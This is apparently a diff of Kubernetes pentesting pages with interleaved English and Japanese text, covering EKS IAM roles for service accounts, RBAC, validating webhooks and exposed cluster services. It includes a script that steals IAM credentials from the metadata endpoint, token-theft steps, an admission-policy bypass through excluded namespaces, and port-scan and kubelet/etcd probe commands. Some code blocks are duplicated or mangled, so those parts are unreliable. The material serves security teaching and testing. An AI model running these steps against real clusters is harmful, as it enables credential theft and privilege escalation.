args: ["-c", "sleep 100000"]' | kubectl apply -f -
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
This is the **recommended way by AWS**.
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
これは**AWSによって推奨される方法**です。
1. まず、[クラスターのためのOIDCプロバイダーを作成する](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)必要があります。
2. 次に、SAが必要とする権限を持つIAMロールを作成します。
3. [IAMロールとSAの間に信頼関係を作成する](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)必要があります（または、名前空間がロールへのアクセスをすべてのSAに与える）。_信頼関係は主にOIDCプロバイダー名、名前空間名、SA名を確認します_。
4. 最後に、**ロールのARNを示すアノテーションを持つSAを作成し**、そのSAで実行されるポッドは**ロールのトークンにアクセスできる**ようになります。**トークン**は**ファイルに書き込まれ**、パスは**`AWS_WEB_IDENTITY_TOKEN_FILE`**に指定されます（デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`）
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` からトークンを使用して **awsを取得する** には、次のコマンドを実行します:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
> 攻撃者として、K8s クラスターを列挙できる場合は、**AWS に昇格するためにそのアノテーションを持つサービスアカウントを確認**してください。これを行うには、IAM **特権サービスアカウント**のいずれかを使用して**exec/create**を行い、トークンを盗みます。
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
> さらに、ポッド内にいる場合は、**AWS_ROLE_ARN**や**AWS_WEB_IDENTITY_TOKEN**のような環境変数を確認してください。
> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
> 時々、**ロールの信頼ポリシー**が**不適切に構成**されていることがあり、期待されるサービスアカウントに AssumeRole アクセスを与える代わりに、**すべてのサービスアカウント**に与えてしまうことがあります。したがって、制御されたサービスアカウントにアノテーションを書き込むことができれば、そのロールにアクセスできます。
>
> Check the **following page for more information**:
> **詳細については以下のページを確認してください**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
### クラスター内の IAM ロールを持つポッドとサービスアカウントを見つける
これは、**すべてのポッドとサービスアカウントの定義を簡単に反復処理**し、その**アノテーション**を探すためのスクリプトです:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
前のセクションでは、ポッドを使用してIAMロールを盗む方法について説明しましたが、K8sクラスターの**ノードはクラウド内のインスタンス**であることに注意してください。これは、ノードが**新しいIAMロールを持っている可能性が高い**ことを意味します（_通常、K8sクラスターのすべてのノードは同じIAMロールを持っているため、各ノードを確認する価値がないかもしれません_）。
ただし、ノードからメタデータエンドポイントにアクセスするためには重要な要件があります。ノード内にいる必要があります（sshセッション？）または少なくとも同じネットワークにいる必要があります：
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### IAMロールトークンを盗む
### Steal IAM Role Token
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
You can use the following script to **steal** your new hard worked **IAM role credentials**:
以前、**ポッドにIAMロールをアタッチする**方法や、**ノードにエスケープしてインスタンスにアタッチされたIAMロールを盗む**方法について説明しました。
以下のスクリプトを使用して、新しく努力して得た**IAMロールの資格情報**を**盗む**ことができます：
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## References
## 参考文献
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
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134
src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
View File

@@ -4,114 +4,107 @@
## Role-Based Access Control (RBAC)
Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
Kubernetesには、APIサーバーへの利用権限を設定するのに役立つ**役割ベースのアクセス制御**（[**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)）という**認可モジュール**があります。
RBAC’s permission model is built from **three individual parts**:
RBACの権限モデルは、**3つの個別の部分**から構成されています：
1. **Role\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource.
2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions.
3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject.
1. **Role\ClusterRole ­–** 実際の権限。_**ルール**_を含み、これは一連の権限を表します。各ルールには[リソース](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types)と[動詞](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb)が含まれます。動詞はリソースに適用されるアクションです。
2. **Subject (ユーザー、グループ、またはサービスアカウント) –** 権限を受け取るオブジェクト。
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRoleと主体との接続。
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
「**Roles**」と「**ClusterRoles**」の違いは、役割が適用される場所だけです – 「**Role**」は**1つの特定のネームスペース**にのみアクセスを付与しますが、「**ClusterRole**」はクラスター内の**すべてのネームスペース**で使用できます。さらに、**ClusterRoles**は以下へのアクセスも付与できます：
- **cluster-scoped** resources (like nodes).
- **non-resource** endpoints (like /healthz).
- namespaced resources (like Pods), **across all namespaces**.
From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
- **クラスター範囲**のリソース（ノードなど）。
- **非リソース**エンドポイント（/healthzなど）。
- ネームスペース内のリソース（ポッドなど）、**すべてのネームスペース**にわたって。
**Kubernetes** 1.6以降、**RBAC**ポリシーは**デフォルトで有効**です。しかし、RBACを有効にするには、次のようなものを使用できます：
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
## テンプレート
## Templates
**Role** または **ClusterRole** のテンプレートでは、**ロールの名前**、**ネームスペース**（ロールの場合）、そして **apiGroups**、**resources**、**verbs** を示す必要があります：
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
- **apiGroups** は、このルールが適用される異なる **API ネームスペース** を含む配列です。例えば、Pod 定義は apiVersion: v1 を使用します。_rbac.authorization.k8s.io や \[\*] のような値を持つことができます_。
- **resources** は、このルールが適用される **リソースを定義する** 配列です。すべてのリソースは次のコマンドで見つけることができます： `kubectl api-resources --namespaced=true`
- **verbs** は、**許可された動詞** を含む配列です。Kubernetes の動詞は、リソースに適用する必要がある **アクションの種類** を定義します。例えば、list 動詞はコレクションに対して使用され、一方で "get" は単一のリソースに対して使用されます。
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
### ルールの動詞
### Rules Verbs
(_この情報は_ [_**ドキュメント**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) _から取得されました_)
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb))
| HTTP verb | request verb |
| HTTP 動詞 | リクエスト動詞 |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| GET, HEAD | get（個々のリソース用）、list（コレクション用、オブジェクトの完全な内容を含む）、watch（個々のリソースまたはリソースのコレクションを監視するため） |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | delete（個々のリソース用）、deletecollection（コレクション用） |
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
Kubernetes は、特定の動詞を使用して追加の権限の認可を確認することがあります。例えば：
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- `policy` API グループの `podsecuritypolicies` リソースに対する `use` 動詞。
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
- `rbac.authorization.k8s.io` API グループの `roles` および `clusterroles` リソースに対する `bind` および `escalate` 動詞。
- [認証](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- コア API グループの `users`、`groups`、および `serviceaccounts` に対する `impersonate` 動詞、そして `authentication.k8s.io` API グループの `userextras`。
> [!WARNING]
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
### Examples
> **各リソースがサポートするすべての動詞** は、`kubectl api-resources --sort-by name -o wide` を実行することで見つけることができます。
### 例
```yaml:Role
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: defaultGreen
name: pod-and-pod-logs-reader
namespace: defaultGreen
name: pod-and-pod-logs-reader
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
```
```yaml:ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "watch", "list"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
For example you can use a **ClusterRole** to allow a particular user to run:
例えば、特定のユーザーが実行できるように**ClusterRole**を使用できます：
```
kubectl get pods --all-namespaces
```
### **RoleBindingとClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
[**ドキュメントから:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **ロールバインディングは、ロールで定義された権限をユーザーまたはユーザーのセットに付与します**。これは、主題（ユーザー、グループ、またはサービスアカウント）のリストと、付与されるロールへの参照を保持します。**RoleBinding**は特定の**namespace**内で権限を付与しますが、**ClusterRoleBinding**はそのアクセスを**クラスター全体**に付与します。
```yaml:RoleBinding
piVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
# You need to already have a Role named "pod-reader" in that namespace.
kind: RoleBinding
metadata:
name: read-pods
namespace: default
name: read-pods
namespace: default
subjects:
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
```
```yaml:ClusterRoleBinding
@@ -119,21 +112,19 @@ apiVersion: rbac.authorization.k8s.io/v1
# This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
kind: ClusterRoleBinding
metadata:
name: read-secrets-global
name: read-secrets-global
subjects:
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**権限は加算される**ため、もし「リスト」と「削除」のシークレットを持つclusterRoleがあれば、「取得」を持つRoleを追加できます。したがって、常に自分のロールと権限をテストし、**許可されているものを明確に指定してください。デフォルトではすべてが拒否されます。**
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
## **Enumerating RBAC**
## **RBACの列挙**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -155,15 +146,10 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Abuse Role/ClusterRoles for Privilege Escalation
### 権限昇格のためのRole/ClusterRolesの悪用
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

106
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
View File

@@ -1,106 +1,94 @@
# Kubernetes ValidatingWebhookConfiguration
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
## 定義
ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
ValidatingWebhookConfigurationは、Kubernetesリソースであり、受信するKubernetes APIリクエストを一連の事前定義されたルールと制約に対して検証するサーバーサイドコンポーネントである検証ウェブフックを定義します。
## Purpose
## 目的
The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules.
ValidatingWebhookConfigurationの目的は、受信するKubernetes APIリクエストに対して一連の事前定義されたルールと制約を強制する検証ウェブフックを定義することです。ウェブフックは、設定で定義されたルールと制約に対してリクエストを検証し、リクエストがルールに準拠していない場合はエラーを返します。
**Example**
Here is an example of a ValidatingWebhookConfiguration:
**例**
以下はValidatingWebhookConfigurationの例です:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-validation-webhook
namespace: default
name: example-validation-webhook
namespace: default
webhook:
name: example-validation-webhook
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
name: example-validation-webhook
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
```
The main difference between a ValidatingWebhookConfiguration and policies :&#x20;
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
- **ValidatingWebhookConfiguration (VWC)** : Kubernetesリソースで、受信するKubernetes APIリクエストを一連の事前定義されたルールと制約に対して検証するサーバーサイドコンポーネントである検証ウェブフックを定義します。
- **Kyverno ClusterPolicy**: Kubernetesリソース（ポッド、デプロイメント、サービスなど）を検証および強制するためのルールと制約のセットを指定するポリシー定義です。
## Enumeration
```
$ kubectl get ValidatingWebhookConfiguration
```
### KyvernoとGatekeeper VWCの悪用
### Abusing Kyverno and Gatekeeper VWC
インストールされているすべてのオペレーターには、少なくとも1つのValidatingWebHookConfiguration(VWC)があります。
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
**Kyverno**と**Gatekeeper**は、クラスター全体でポリシーを定義し、強制するためのフレームワークを提供するKubernetesポリシーエンジンです。
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
例外は、特定のルールや条件を指し、特定の状況下でポリシーをバイパスまたは変更することを許可しますが、これが唯一の方法ではありません！
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
**kyverno**の場合、検証ポリシーがある限り、ウェブフック`kyverno-resource-validating-webhook-cfg`がポピュレートされます。
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
Gatekeeperの場合、`gatekeeper-validating-webhook-configuration` YAMLファイルがあります。
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Both come from with default values but the Administrator teams might updated those 2 files.
### Use Case
どちらもデフォルト値で提供されますが、管理者チームがこれら2つのファイルを更新する可能性があります。
### ユースケース
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Now, identify the following output :
今、次の出力を特定してください：
```yaml
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- default
- TEST
- YOYO
- kube-system
- MYAPP
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- default
- TEST
- YOYO
- kube-system
- MYAPP
```
ここで、`kubernetes.io/metadata.name` ラベルは名前空間の名前を指します。`values` リストに名前がある名前空間はポリシーから除外されます：
Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
名前空間の存在を確認します。自動化や誤設定のために、一部の名前空間が作成されていない場合があります。名前空間を作成する権限がある場合、`values` リストに名前がある名前空間を作成すると、ポリシーは新しい名前空間に適用されません。
Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace.
The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
この攻撃の目的は、オペレーターの制限を回避し、他の技術を使用して権限を昇格させるために、VWC 内の**誤設定**を悪用することです。
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## References
## 参考文献
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)

140
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
View File

@@ -1,61 +1,57 @@
# Pentesting Kubernetes Services
# Kubernetesサービスのペンテスト
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
Kubernetesは、**インターネットに公開されている**か、**1つのポッドを侵害した後に内部ネットワークにある**可能性のあるいくつかの**特定のネットワークサービス**を使用しています。
## Finding exposed pods with OSINT
## OSINTを使用した公開ポッドの発見
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
1つの方法は、[crt.sh](https://crt.sh)で`Identity LIKE "k8s.%.com"`を検索して、kubernetesに関連するサブドメインを見つけることです。別の方法は、GitHubで`"k8s.%.com"`を検索し、文字列を含む**YAMLファイル**を探すことです。
## How Kubernetes Exposes Services
## Kubernetesがサービスを公開する方法
It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
Kubernetesがどのように**サービスを公開するか**を理解することは、見つけるために役立つかもしれません：
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Finding Exposed pods via port scanning
## ポートスキャンによる公開ポッドの発見
The following ports might be open in a Kubernetes cluster:
Kubernetesクラスターで開いている可能性のあるポートは次のとおりです：
| Port | Process | Description |
| ポート | プロセス | 説明 |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 443/TCP | kube-apiserver | Kubernetes APIポート |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
| 4194/TCP | cAdvisor | コンテナメトリクス |
| 6443/TCP | kube-apiserver | Kubernetes APIポート |
| 8443/TCP | kube-apiserver | Minikube APIポート |
| 8080/TCP | kube-apiserver | 安全でないAPIポート |
| 10250/TCP | kubelet | フルモードアクセスを許可するHTTPS API |
| 10255/TCP | kubelet | 認証されていない読み取り専用HTTPポート：ポッド、実行中のポッド、ノードの状態 |
| 10256/TCP | kube-proxy | Kube Proxyヘルスチェックサーバー |
| 9099/TCP | calico-felix | Calicoのヘルスチェックサーバー |
| 6782-4/TCP | weave | メトリクスとエンドポイント |
| 30000-32767/TCP | NodePort | サービスへのプロキシ |
| 44134/TCP | Tiller | Helmサービスリスニング |
### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver
This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**.
**Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure.
これは、管理者が通常**`kubectl`**ツールを使用して通信する**API Kubernetesサービス**です。
**一般的なポート: 6443および443**、ただしminikubeでは8443、非安全なものとして8080もあります。
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**
**このサービスと対話して機密データを取得し、機密アクションを実行する方法を学ぶには、次のページを確認してください：**
{{#ref}}
../kubernetes-enumeration.md
@@ -63,101 +59,84 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.
このサービスは**クラスターのすべてのノードで実行されます**。これは**ノード**内のポッドを**制御**するサービスです。**kube-apiserver**と通信します。
If you find this service exposed you might have found an **unauthenticated RCE**.
このサービスが公開されているのを見つけた場合、**認証されていないRCE**を見つけた可能性があります。
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
もしレスポンスが `Unauthorized` であれば、認証が必要です。
If the response is `Unauthorized` then it requires authentication.
If you can list nodes you can get a list of kubelets endpoints with:
ノードをリストできる場合は、次のコマンドで kubelets エンドポイントのリストを取得できます:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (Read only)
#### kubelet (読み取り専用)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### etcd API
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
### ティラー
```bash
helm --host tiller-deploy.kube-system:44134 version
```
You could abuse this service to escalate privileges inside Kubernetes:
### cAdvisor
Service useful to gather metrics.
メトリクスを収集するのに役立つサービス。
```bash
curl -k https://<IP Address>:4194
```
### NodePort
